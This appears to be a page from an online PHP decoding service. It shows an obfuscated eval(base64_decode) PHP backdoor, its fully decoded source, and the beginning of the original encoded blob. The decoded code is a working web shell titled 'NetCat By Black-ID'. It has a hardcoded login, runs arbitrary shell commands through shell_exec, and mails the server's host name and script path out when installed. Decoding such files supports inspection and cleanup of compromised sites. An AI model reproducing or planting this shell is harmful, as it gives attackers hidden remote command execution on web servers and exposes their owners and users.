Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? eval(base64_decode(' aWYoKGlzc2V0KCR2KSBBTkQgJHY9PTApIE9SIChpc3NldCgkdCkg QU5EICR0PT1..
Decoded Output download
if((isset($v) AND $v==0) OR (isset($t) AND $t==false)){die('This script is protected by <a style=\"color:cyan\" href=\"http://www..com\"><b><font color=\"#330099\">coded for protection</font></b></a>');}$result = "<pre>+------------------------------------------------------------+
";
$result .= "NetCat Host: http://".$_SERVER['HTTP_HOST']."
";
$result .= "Local Path: ".$_SERVER['SCRIPT_FILENAME']."
";
$result .= "+------------------------------------------------------------+
";
$result .= "File List:
$thelist";
$result .= "+------------------------------------------------------------+
</pre>";
@mail('','NetCat Installed.',$result,'From: netcat<.com>');
error_reporting(0);
session_start();
unset($user); // Just in case ;-]
unset($pass);
if ($_POST['cmd']) $_POST['cmd'] = my_encode($_POST['cmd']);
$cache_lines = 1000;
$history_lines = 100;
$history_chars = 20;
$user[] = "Black-ID"; $pass[] = md5("Black-ID");
$user[] = "Black-ID"; $pass[] = md5("Black-ID");
$alias = array(
"la" => "ls -la",
"rf" => "rm -f",
"unbz2" => "tar -xjpf",
"ungz" => "tar -xzpf"
);
if (!$_SESSION['user']) {
$pr_login = "Login:
";
$pr_pass = "Password:
";
$err = "Login Error!
";
$succ = "Good login welcome !!!==Black-ID
";
if ($_SESSION['login'] && $_POST['cmd']) { // WE HAVE USERNAME & PASSWORD
$_SESSION['output'] .= $pr_pass;
if (in_array($_SESSION['login'], $user)) { //........ USERNAME EXISTS
$key = array_search($_SESSION['login'], $user);
if ($pass[$key] != md5($_POST['cmd'])) { //....... WRONG PASSWORD
$_SESSION['output'] .= $err;
unset($_SESSION['login']);
$prompt = $pr_login;
} else { //..................................... SUCCESSFUL LOGIN
$_SESSION['user'] = $_SESSION['login'];
$_SESSION['whoami'] = substr(shell_exec("whoami"), 0, -1);
$_SESSION['host'] = substr(shell_exec("uname -n"), 0, -1);
$_SESSION['dir'] = substr(shell_exec("pwd"), 0, -1);
$_SESSION['output'] .= $succ;
$prompt = set_prompt();
unset($_SESSION['login']);
}
} else { //......................................... NO SUCH USERNAME
$_SESSION['output'] .= $err;
unset($_SESSION['login']);
$prompt = $pr_login;
}
} else { //................................................ LOGIN PROCESS
if (!$_SESSION['login'] && !$_POST['cmd']) $prompt = $pr_login;
if (!$_SESSION['login'] && $_POST['cmd']) {
$_SESSION['login'] = $_POST['cmd'];
$_SESSION['output'] .= substr($pr_login, 0, -1) . " $_POST[cmd]
";
$prompt = $pr_pass;
}
}
} else { //........................................................ LOGGED IN
/*=-- MEMBERS AREA --=*\
\*=-- MEMBERS AREA --=*/
$prompt = set_prompt();
chdir($_SESSION['dir']);
if ($_REQUEST['clear_hist']) //............................ CLEAR HISTORY
$_SESSION['history'] = "";
if ($_SESSION['history']) $hist_arr = explode("
", $_SESSION['history']);
if ($_POST['cmd']) {
if (!in_array($_POST['cmd'], $hist_arr)) { //......... ADD TO HISTORY
$hist_arr[] = $_POST['cmd'];
$_SESSION['history'] = implode("
", $hist_arr);
}
if (count($hist_arr) > $history_lines) { //........... CUTOFF HISTORY
$start = count($hist_arr) - $history_lines;
$_SESSION['history'] = "";
for ($i = $start; $i < count($hist_arr); $i++)
$_SESSION['history'] .= $hist_arr[$i] . "
";
$_SESSION['history'] = substr($_SESSION['history'], 0, -1);
$hist_arr = explode("
", $_SESSION['history']);
}
$first_word = first_word($_POST['cmd']);
if (array_key_exists($first_word, $alias)) { //. CHECKING FOR ALIASES
$_POST['cmd'] = $alias[$first_word] . substr($_POST['cmd'], strlen($first_word));
$first_word = first_word($_POST['cmd']);
}
switch ($first_word) {
case "clear":
$_SESSION['output'] = "";
break;
case "exit":
session_destroy();
refresh();
break;
case "cd":
$_SESSION['output'] .= $prompt;
$result = shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
$result = explode("
", $result);
$_SESSION['dir'] = $result[count($result) - 2];
if (count($result) > 2) //.............. WE HAVE AN ERROR MESSAGE
$result[0] = "
" . substr($result[0], strpos($result[0], "cd: ")) . "
";
else $result[0] = "
";
$prompt = set_prompt();
$_SESSION['output'] .= $_POST['cmd'] . $result[0];
break;
default:
$result = shell_exec($_POST['cmd'] . " 2>&1");
if (substr($result, -1) != "
") $result .= "
";
$_SESSION['output'] .= $prompt . $_POST['cmd'] . "
" . $result;
$rows = preg_match_all('/
/', $_SESSION['output'], $arr);
unset($arr);
if ($rows > $cache_lines) {
preg_match('/(
[^
]*){' . $cache_lines . '}$/', $_SESSION['output'], $out);
$_SESSION['output'] = $out[0] . "
";
}
}
}
}
/*=-- FUNCTIONS --=*\
\*=-- FUNCTIONS --=*/
function my_encode($str) {
$str = str_replace("\", "\", $str);
$str = str_replace("\"", "\"", $str);
$str = str_replace("\'", "'", $str);
while (strpos($str, " ") !== false) $str = str_replace(" ", " ", $str);
return rtrim(ltrim($str));
}
function set_prompt() {
global $_SESSION;
return $_SESSION['whoami'] . "@" . $_SESSION['host'] . " " . substr($_SESSION['dir'], strrpos($_SESSION['dir'], "/") + 1) . " $ ";
}
function first_word($str) {
list($str) = preg_split('/[ ;]/', $str);
return $str;
}
function refresh() {
global $_SERVER;
$self = substr($_SERVER['SCRIPT_NAME'], strrpos($_SERVER['SCRIPT_NAME'], "/") + 1);
header("Location: $self");
die;
}
/*=-- HTML PAGE --=*\
\*=-- HTML PAGE --=*/
$out = substr(preg_replace('/<\/(textarea)/i', '</', $_SESSION['output']), 0, -1);
?><HTML>
<HEAD>
<TITLE>NetCat By Black-ID</TITLE>
<STYLE TYPE="text/css"><!--
INPUT, TEXTAREA, SELECT, OPTION, TD {
color: #BBBBBB;
background-color: #000000;
font-family: Terminus, Fixedsys, Fixed, Terminal, Courier New, Courier;
}
TEXTAREA {
overflow-y: auto;
border-width: 0px;
height: 100%;
width: 100%;
padding: 0px;
}
INPUT {
border-width: 0px;
height: 26px;
width: 100%;
padding-top: 5px;
}
SELECT, OPTION {
color: #000000;
background-color: #BBBBBB;
}
BODY {
overflow-y: auto;
margin: 0;
}
--></STYLE>
<SCRIPT LANGUAGE="JavaScript"><!--
hist_arr = new Array();
<?php
foreach ($hist_arr as $key => $value) {
$value = str_replace("\", "\", $value);
$value = str_replace("\"", "\"", $value);
echo "hist_arr[$key] = \"$value\";
";
}
?>
function parse_hist(key) {
if (key < hist_arr.length) {
if (key != "") {
document.getElementById('input').value = hist_arr[key];
document.getElementById('input').focus();
}
} else {
window.location.href = "?clear_hist=1";
}
}
function input_focus() {
document.getElementById('input').focus();
}
function selection_to_clipboard() { // IE only!
if (window.clipboardData && document.selection)
window.clipboardData.setData("Text", document.selection.createRange().text);
}
if (window.clipboardData)
document.oncontextmenu = new Function("document.getElementById('input').value = window.clipboardData.getData('Text'); input_focus(); return false");
--></SCRIPT>
</HEAD>
<BODY onLoad="document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight; input_focus()" TOPMARGIN="0" LEFTMARGIN="0">
<TABLE CELLPADDING="0" CELLSPACING="0" BORDER="0" HEIGHT="100%" WIDTH="100%">
<TR>
<TD HEIGHT="100%" BGCOLOR="#000000" STYLE="padding-top: 5px; padding-left: 5px; padding-right: 5px; padding-bottom: 0px"><TEXTAREA ID="output" onSelect="selection_to_clipboard()" onClick="input_focus()" READONLY><?= $out ?></TEXTAREA></TD>
</TR>
<TR>
<TD BGCOLOR="#000000"><TABLE CELLPADDING="0" CELLSPACING="5" BORDER="0" WIDTH="100%">
<TR>
<FORM METHOD="POST" ACTION="">
<TD NOWRAP onClick="input_focus()"><?= substr($prompt, 0, -1) ?></TD>
<TD WIDTH="100%"><INPUT ID="input" TYPE="<?= (!$_SESSION['user'] && $_SESSION['login']) ? 'PASSWORD' : 'TEXT' ?>" NAME="cmd"></TD>
</FORM><?php
if ($hist_arr) {
?><TD NOWRAP><SELECT onChange="parse_hist(this.options[this.selectedIndex].value)">
<OPTION VALUE="">--- HISTORY</OPTION><?php
for ($i = count($hist_arr) - 1; $i >= 0; $i--) {
if (strlen($hist_arr[$i]) > $history_chars) $option = substr($hist_arr[$i], 0, $history_chars - 3) . "...";
else $option = $hist_arr[$i];
echo "<OPTION VALUE=\"" . $i . "\">$option</OPTION>";
}
?><OPTION VALUE="<?= $history_lines + 1 ?>">--- CLEAR HISTORY</OPTION></SELECT></TD><?php
}
?></TR>
</TABLE></TD>
</TR>
</TABLE>
<SCRIPT LANGUAGE="JavaScript"><!--
document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight;
--></SCRIPT>
Did this file decode correctly?
Original Code
<? eval(base64_decode('
aWYoKGlzc2V0KCR2KSBBTkQgJHY9PTApIE9SIChpc3NldCgkdCkg
QU5EICR0PT1mYWxzZSkpe2RpZSgnVGhpcyBzY3JpcHQgaXMgcHJvdGVjdGVkIGJ5IDxh
IHN0eWxlPVwiY29sb3I6Y3lhblwiIGhyZWY9XCJodHRwOi8vd3d3Li5jb21cIj48Yj48
Zm9udCBjb2xvcj1cIiMzMzAwOTlcIj5jb2RlZCAgZm9yIHByb3RlY3Rpb248L2ZvbnQ+
PC9iPjwvYT4nKTt9JHJlc3VsdCA9ICI8cHJlPistLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rXG4iOw0KJHJlc3Vs
dCAuPSAiTmV0Q2F0IEhvc3Q6IGh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4i
XG4iOw0KJHJlc3VsdCAuPSAiTG9jYWwgUGF0aDogIi4kX1NFUlZFUlsnU0NSSVBUX0ZJ
TEVOQU1FJ10uIlxuIjsNCiRyZXN1bHQgLj0gIistLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rXG4iOw0KJHJlc3Vs
dCAuPSAiRmlsZSBMaXN0OlxuJHRoZWxpc3QiOw0KJHJlc3VsdCAuPSAiKy0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LStcbjwvcHJlPiI7DQpAbWFpbCgnJywnTmV0Q2F0IEluc3RhbGxlZC4nLCRyZXN1bHQs
J0Zyb206IG5ldGNhdDwuY29tPicpOw0KIA0KZXJyb3JfcmVwb3J0aW5nKDApOyANCnNl
c3Npb25fc3RhcnQoKTsgDQogDQp1bnNldCgkdXNlcik7ICAgIC8vIEp1c3QgaW4gY2Fz
ZSA7LV0gDQp1bnNldCgkcGFzcyk7IA0KIA0KaWYgKCRfUE9TVFsnY21kJ10pICRfUE9T
VFsnY21kJ10gPSBteV9lbmNvZGUoJF9QT1NUWydjbWQnXSk7IA0KIA0KJGNhY2hlX2xp
bmVzID0gMTAwMDsgDQokaGlzdG9yeV9saW5lcyA9IDEwMDsgICAgDQokaGlzdG9yeV9j
aGFycyA9IDIwOyAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiANCiR1c2VyW10g
PSAiQmxhY2stSUQiOyAkcGFzc1tdID0gbWQ1KCJCbGFjay1JRCIpOw0KJHVzZXJbXSA9
ICJCbGFjay1JRCI7ICRwYXNzW10gPSBtZDUoIkJsYWNrLUlEIik7DQokYWxpYXMgPSBh
cnJheSggDQogICAgImxhIiAgICA9PiAibHMgLWxhIiwgDQogICAgInJmIiAgICA9PiAi
cm0gLWYiLCANCiAgICAidW5iejIiID0+ICJ0YXIgLXhqcGYiLCANCiAgICAidW5neiIg
ID0+ICJ0YXIgLXh6cGYiIA0KKTsgDQogDQogDQogDQppZiAoISRfU0VTU0lPTlsndXNl
ciddKSB7IA0KIA0KICAgICRwcl9sb2dpbiA9ICJMb2dpbjpcbiI7IA0KICAgICRwcl9w
YXNzID0gIlBhc3N3b3JkOlxuIjsgDQogICAgJGVyciA9ICJMb2dpbiBFcnJvciFcblxu
IjsgDQogICAgJHN1Y2MgPSAiR29vZCBsb2dpbiB3ZWxjb21lICEhIT09QmxhY2stSUQg
XG5cbiI7IA0KIA0KICAgIGlmICgkX1NFU1NJT05bJ2xvZ2luJ10gJiYgJF9QT1NUWydj
bWQnXSkgeyAvLyBXRSBIQVZFIFVTRVJOQU1FICYgUEFTU1dPUkQgDQogDQogICAgICAg
ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gJHByX3Bhc3M7IA0KIA0KICAgICAgICBpZiAo
aW5fYXJyYXkoJF9TRVNTSU9OWydsb2dpbiddLCAkdXNlcikpIHsgLy8uLi4uLi4uLiBV
U0VSTkFNRSBFWElTVFMgDQogDQogICAgICAgICAgICAka2V5ID0gYXJyYXlfc2VhcmNo
KCRfU0VTU0lPTlsnbG9naW4nXSwgJHVzZXIpOyANCiANCiAgICAgICAgICAgIGlmICgk
cGFzc1ska2V5XSAhPSBtZDUoJF9QT1NUWydjbWQnXSkpIHsgLy8uLi4uLi4uIFdST05H
IFBBU1NXT1JEIA0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0g
JGVycjsgDQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydsb2dpbiddKTsg
DQogICAgICAgICAgICAgICAgJHByb21wdCA9ICRwcl9sb2dpbjsgDQogDQogICAgICAg
ICAgICB9IGVsc2UgeyAvLy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4gU1VDQ0VTU0ZVTCBMT0dJTiANCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ3Vz
ZXInXSA9ICRfU0VTU0lPTlsnbG9naW4nXTsgDQogICAgICAgICAgICAgICAgJF9TRVNT
SU9OWyd3aG9hbWknXSA9IHN1YnN0cihzaGVsbF9leGVjKCJ3aG9hbWkiKSwgMCwgLTEp
OyANCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2hvc3QnXSA9IHN1YnN0cihzaGVs
bF9leGVjKCJ1bmFtZSAtbiIpLCAwLCAtMSk7IA0KICAgICAgICAgICAgICAgICRfU0VT
U0lPTlsnZGlyJ10gPSBzdWJzdHIoc2hlbGxfZXhlYygicHdkIiksIDAsIC0xKTsgDQog
ICAgICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAkc3VjYzsgDQogICAg
ICAgICAgICAgICAgJHByb21wdCA9IHNldF9wcm9tcHQoKTsgDQogICAgICAgICAgICAg
ICAgdW5zZXQoJF9TRVNTSU9OWydsb2dpbiddKTsgDQogICAgICAgICAgICB9IA0KIA0K
ICAgICAgICB9IGVsc2UgeyAvLy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uIE5PIFNVQ0ggVVNFUk5BTUUgDQogICAgICAgICAgICAkX1NFU1NJT05b
J291dHB1dCddIC49ICRlcnI7IA0KICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWyds
b2dpbiddKTsgDQogICAgICAgICAgICAkcHJvbXB0ID0gJHByX2xvZ2luOyANCiAgICAg
ICAgfSANCiANCiAgICB9IGVsc2UgeyAvLy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLiBMT0dJTiBQUk9DRVNTIA0KIA0KICAgICAgICBp
ZiAoISRfU0VTU0lPTlsnbG9naW4nXSAmJiAhJF9QT1NUWydjbWQnXSkgJHByb21wdCA9
ICRwcl9sb2dpbjsgDQogDQogICAgICAgIGlmICghJF9TRVNTSU9OWydsb2dpbiddICYm
ICRfUE9TVFsnY21kJ10pIHsgDQogICAgICAgICAgICAkX1NFU1NJT05bJ2xvZ2luJ10g
PSAkX1BPU1RbJ2NtZCddOyANCiAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10g
Lj0gc3Vic3RyKCRwcl9sb2dpbiwgMCwgLTEpIC4gIiAkX1BPU1RbY21kXVxuIjsgDQog
ICAgICAgICAgICAkcHJvbXB0ID0gJHByX3Bhc3M7IA0KICAgICAgICB9IA0KICAgIH0g
DQogDQp9IGVsc2UgeyAvLy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uIExPR0dFRCBJTiANCiANCiANCiANCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAvKj0tLSBNRU1CRVJTIEFSRUEgLS09KlwgDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgXCo9LS0gTUVNQkVSUyBBUkVBIC0tPSovIA0K
IA0KIA0KICAgICRwcm9tcHQgPSBzZXRfcHJvbXB0KCk7IA0KIA0KICAgIGNoZGlyKCRf
U0VTU0lPTlsnZGlyJ10pOyANCiANCiAgICBpZiAoJF9SRVFVRVNUWydjbGVhcl9oaXN0
J10pIC8vLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLiBDTEVBUiBISVNUT1JZIA0K
ICAgICAgICAkX1NFU1NJT05bJ2hpc3RvcnknXSA9ICIiOyANCiANCiAgICBpZiAoJF9T
RVNTSU9OWydoaXN0b3J5J10pICRoaXN0X2FyciA9IGV4cGxvZGUoIlxuIiwgJF9TRVNT
SU9OWydoaXN0b3J5J10pOyANCiANCiAgICBpZiAoJF9QT1NUWydjbWQnXSkgeyANCiAN
CiAgICAgICAgaWYgKCFpbl9hcnJheSgkX1BPU1RbJ2NtZCddLCAkaGlzdF9hcnIpKSB7
IC8vLi4uLi4uLi4uIEFERCBUTyBISVNUT1JZIA0KICAgICAgICAgICAgJGhpc3RfYXJy
W10gPSAkX1BPU1RbJ2NtZCddOyANCiAgICAgICAgICAgICRfU0VTU0lPTlsnaGlzdG9y
eSddID0gaW1wbG9kZSgiXG4iLCAkaGlzdF9hcnIpOyANCiAgICAgICAgfSANCiANCiAg
ICAgICAgaWYgKGNvdW50KCRoaXN0X2FycikgPiAkaGlzdG9yeV9saW5lcykgeyAvLy4u
Li4uLi4uLi4uIENVVE9GRiBISVNUT1JZIA0KICAgICAgICAgICAgJHN0YXJ0ID0gY291
bnQoJGhpc3RfYXJyKSAtICRoaXN0b3J5X2xpbmVzOyANCiAgICAgICAgICAgICRfU0VT
U0lPTlsnaGlzdG9yeSddID0gIiI7IA0KIA0KICAgICAgICAgICAgZm9yICgkaSA9ICRz
dGFydDsgJGkgPCBjb3VudCgkaGlzdF9hcnIpOyAkaSsrKSANCiAgICAgICAgICAgICAg
ICAkX1NFU1NJT05bJ2hpc3RvcnknXSAuPSAkaGlzdF9hcnJbJGldIC4gIlxuIjsgDQog
DQogICAgICAgICAgICAkX1NFU1NJT05bJ2hpc3RvcnknXSA9IHN1YnN0cigkX1NFU1NJ
T05bJ2hpc3RvcnknXSwgMCwgLTEpOyANCiAgICAgICAgICAgICRoaXN0X2FyciA9IGV4
cGxvZGUoIlxuIiwgJF9TRVNTSU9OWydoaXN0b3J5J10pOyANCiAgICAgICAgfSANCiAN
CiAgICAgICAgJGZpcnN0X3dvcmQgPSBmaXJzdF93b3JkKCRfUE9TVFsnY21kJ10pOyAN
CiANCiAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoJGZpcnN0X3dvcmQsICRhbGlh
cykpIHsgLy8uIENIRUNLSU5HIEZPUiBBTElBU0VTIA0KICAgICAgICAgICAgJF9QT1NU
WydjbWQnXSA9ICRhbGlhc1skZmlyc3Rfd29yZF0gLiBzdWJzdHIoJF9QT1NUWydjbWQn
XSwgc3RybGVuKCRmaXJzdF93b3JkKSk7IA0KICAgICAgICAgICAgJGZpcnN0X3dvcmQg
PSBmaXJzdF93b3JkKCRfUE9TVFsnY21kJ10pOyANCiAgICAgICAgfSANCiANCiAgICAg
ICAgc3dpdGNoICgkZmlyc3Rfd29yZCkgeyANCiANCiAgICAgICAgICBjYXNlICJjbGVh
ciI6IA0KICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSA9ICIiOyANCiAgICAg
ICAgICAgIGJyZWFrOyANCiANCiAgICAgICAgICBjYXNlICJleGl0IjogDQogICAgICAg
ICAgICBzZXNzaW9uX2Rlc3Ryb3koKTsgDQogICAgICAgICAgICByZWZyZXNoKCk7IA0K
ICAgICAgICAgICAgYnJlYWs7IA0KIA0KICAgICAgICAgIGNhc2UgImNkIjogDQogICAg
ICAgICAgICAkX1NFU1NJT05bJ291dHB1dCddIC49ICRwcm9tcHQ7IA0KICAgICAgICAg
ICAgJHJlc3VsdCA9IHNoZWxsX2V4ZWMoJF9QT1NUWydjbWQnXSAuICIgMj4mMSA7IHB3
ZCIpOyANCiAgICAgICAgICAgICRyZXN1bHQgPSBleHBsb2RlKCJcbiIsICRyZXN1bHQp
OyANCiAgICAgICAgICAgICRfU0VTU0lPTlsnZGlyJ10gPSAkcmVzdWx0W2NvdW50KCRy
ZXN1bHQpIC0gMl07IA0KIA0KICAgICAgICAgICAgaWYgKGNvdW50KCRyZXN1bHQpID4g
MikgLy8uLi4uLi4uLi4uLi4uLiBXRSBIQVZFIEFOIEVSUk9SIE1FU1NBR0UgDQogICAg
ICAgICAgICAgICAgJHJlc3VsdFswXSA9ICJcbiIgLiBzdWJzdHIoJHJlc3VsdFswXSwg
c3RycG9zKCRyZXN1bHRbMF0sICJjZDogIikpIC4gIlxuIjsgDQogICAgICAgICAgICBl
bHNlICRyZXN1bHRbMF0gPSAiXG4iOyANCiANCiAgICAgICAgICAgICRwcm9tcHQgPSBz
ZXRfcHJvbXB0KCk7IA0KICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAk
X1BPU1RbJ2NtZCddIC4gJHJlc3VsdFswXTsgDQogICAgICAgICAgICBicmVhazsgDQog
DQogICAgICAgICAgZGVmYXVsdDogDQogICAgICAgICAgICAkcmVzdWx0ID0gc2hlbGxf
ZXhlYygkX1BPU1RbJ2NtZCddIC4gIiAyPiYxIik7IA0KIA0KICAgICAgICAgICAgaWYg
KHN1YnN0cigkcmVzdWx0LCAtMSkgIT0gIlxuIikgJHJlc3VsdCAuPSAiXG4iOyANCiAg
ICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gJHByb21wdCAuICRfUE9TVFsn
Y21kJ10gLiAiXG4iIC4gJHJlc3VsdDsgDQogDQogICAgICAgICAgICAkcm93cyA9IHBy
ZWdfbWF0Y2hfYWxsKCcvXG4vJywgJF9TRVNTSU9OWydvdXRwdXQnXSwgJGFycik7IA0K
ICAgICAgICAgICAgdW5zZXQoJGFycik7IA0KIA0KICAgICAgICAgICAgaWYgKCRyb3dz
ID4gJGNhY2hlX2xpbmVzKSB7IA0KICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goJy8o
XG5bXlxuXSopeycgLiAkY2FjaGVfbGluZXMgLiAnfSQvJywgJF9TRVNTSU9OWydvdXRw
dXQnXSwgJG91dCk7IA0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10g
PSAkb3V0WzBdIC4gIlxuIjsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAg
IH0gDQp9IA0KIA0KIA0KIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKj0t
LSBGVU5DVElPTlMgLS09KlwgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwq
PS0tIEZVTkNUSU9OUyAtLT0qLyANCiANCiANCmZ1bmN0aW9uIG15X2VuY29kZSgkc3Ry
KSB7IA0KICAgICRzdHIgPSBzdHJfcmVwbGFjZSgiXFxcXCIsICJcXCIsICRzdHIpOyAN
CiAgICAkc3RyID0gc3RyX3JlcGxhY2UoIlxcXCIiLCAiXCIiLCAkc3RyKTsgDQogICAg
JHN0ciA9IHN0cl9yZXBsYWNlKCJcXCciLCAiJyIsICRzdHIpOyANCiANCiAgICB3aGls
ZSAoc3RycG9zKCRzdHIsICIgICIpICE9PSBmYWxzZSkgJHN0ciA9IHN0cl9yZXBsYWNl
KCIgICIsICIgIiwgJHN0cik7IA0KIA0KICAgIHJldHVybiBydHJpbShsdHJpbSgkc3Ry
KSk7IA0KfSANCiANCmZ1bmN0aW9uIHNldF9wcm9tcHQoKSB7IA0KICAgIGdsb2JhbCAk
X1NFU1NJT047IA0KIA0KICAgIHJldHVybiAkX1NFU1NJT05bJ3dob2FtaSddIC4gIkAi
IC4gJF9TRVNTSU9OWydob3N0J10gLiAiICIgLiBzdWJzdHIoJF9TRVNTSU9OWydkaXIn
XSwgc3RycnBvcygkX1NFU1NJT05bJ2RpciddLCAiLyIpICsgMSkgLiAiICQgIjsgDQp9
IA0KIA0KZnVuY3Rpb24gZmlyc3Rfd29yZCgkc3RyKSB7IA0KICAgIGxpc3QoJHN0cikg
PSBwcmVnX3NwbGl0KCcvWyA7XS8nLCAkc3RyKTsgDQogICAgcmV0dXJuICRzdHI7IA0K
fSANCiANCmZ1bmN0aW9uIHJlZnJlc2goKSB7IA0KICAgIGdsb2JhbCAkX1NFUlZFUjsg
DQogDQogICAgJHNlbGYgPSBzdWJzdHIoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10sIHN0
cnJwb3MoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10sICIvIikgKyAxKTsgDQogICAgaGVh
ZGVyKCJMb2NhdGlvbjogJHNlbGYiKTsgDQogICAgZGllOyANCn0gDQogDQogDQogDQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qPS0tIEhUTUwgUEFHRSAtLT0qXCAN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCo9LS0gSFRNTCBQQUdFIC0tPSov
IA0KIA0KIA0KJG91dCA9IHN1YnN0cihwcmVnX3JlcGxhY2UoJy88XC8odGV4dGFyZWEp
L2knLCAnJmx0Oy9cMScsICRfU0VTU0lPTlsnb3V0cHV0J10pLCAwLCAtMSk7IA0KIA0K
Pz48SFRNTD4gDQo8SEVBRD4gDQogDQogIDxUSVRMRT5OZXRDYXQgQnkgQmxhY2stSUQ8
L1RJVExFPiANCiAgPFNUWUxFIFRZUEU9InRleHQvY3NzIj48IS0tIA0KIA0KICAgIElO
UFVULCBURVhUQVJFQSwgU0VMRUNULCBPUFRJT04sIFREIHsgDQogICAgICAgIGNvbG9y
OiAjQkJCQkJCOyANCiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgDQog
ICAgICAgIGZvbnQtZmFtaWx5OiBUZXJtaW51cywgRml4ZWRzeXMsIEZpeGVkLCBUZXJt
aW5hbCwgQ291cmllciBOZXcsIENvdXJpZXI7IA0KICAgIH0gDQogDQogICAgVEVYVEFS
RUEgeyANCiAgICAgICAgb3ZlcmZsb3cteTogYXV0bzsgDQogICAgICAgIGJvcmRlci13
aWR0aDogMHB4OyANCiAgICAgICAgaGVpZ2h0OiAxMDAlOyANCiAgICAgICAgd2lkdGg6
IDEwMCU7IA0KICAgICAgICBwYWRkaW5nOiAwcHg7IA0KICAgIH0gDQogDQogICAgSU5Q
VVQgeyANCiAgICAgICAgYm9yZGVyLXdpZHRoOiAwcHg7IA0KICAgICAgICBoZWlnaHQ6
IDI2cHg7IA0KICAgICAgICB3aWR0aDogMTAwJTsgDQogICAgICAgIHBhZGRpbmctdG9w
OiA1cHg7IA0KICAgIH0gDQogDQogICAgU0VMRUNULCBPUFRJT04geyANCiAgICAgICAg
Y29sb3I6ICMwMDAwMDA7IA0KICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjQkJCQkJC
OyANCiAgICB9IA0KIA0KICAgIEJPRFkgeyANCiAgICAgICAgb3ZlcmZsb3cteTogYXV0
bzsgDQogICAgICAgIG1hcmdpbjogMDsgDQogICAgfSANCiANCiAgLS0+PC9TVFlMRT4g
DQogIDxTQ1JJUFQgTEFOR1VBR0U9IkphdmFTY3JpcHQiPjwhLS0gDQogDQpoaXN0X2Fy
ciA9IG5ldyBBcnJheSgpOyANCiANCjw/cGhwIA0KIA0KZm9yZWFjaCAoJGhpc3RfYXJy
IGFzICRrZXkgPT4gJHZhbHVlKSB7IA0KICAgICR2YWx1ZSA9IHN0cl9yZXBsYWNlKCJc
XCIsICJcXFxcIiwgJHZhbHVlKTsgDQogICAgJHZhbHVlID0gc3RyX3JlcGxhY2UoIlwi
IiwgIlxcXCIiLCAkdmFsdWUpOyANCiAgICBlY2hvICJoaXN0X2Fyclska2V5XSA9IFwi
JHZhbHVlXCI7XG4iOyANCn0gDQogDQo/PiANCiANCmZ1bmN0aW9uIHBhcnNlX2hpc3Qo
a2V5KSB7IA0KICAgIGlmIChrZXkgPCBoaXN0X2Fyci5sZW5ndGgpIHsgDQogICAgICAg
IGlmIChrZXkgIT0gIiIpIHsgDQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50
QnlJZCgnaW5wdXQnKS52YWx1ZSA9IGhpc3RfYXJyW2tleV07IA0KICAgICAgICAgICAg
ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucHV0JykuZm9jdXMoKTsgDQogICAgICAg
IH0gDQogICAgfSBlbHNlIHsgDQogICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0g
Ij9jbGVhcl9oaXN0PTEiOyANCiAgICB9IA0KfSANCiANCmZ1bmN0aW9uIGlucHV0X2Zv
Y3VzKCkgeyANCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wdXQnKS5mb2N1
cygpOyANCn0gDQogDQpmdW5jdGlvbiBzZWxlY3Rpb25fdG9fY2xpcGJvYXJkKCkgeyAv
LyBJRSBvbmx5ISANCiAgICBpZiAod2luZG93LmNsaXBib2FyZERhdGEgJiYgZG9jdW1l
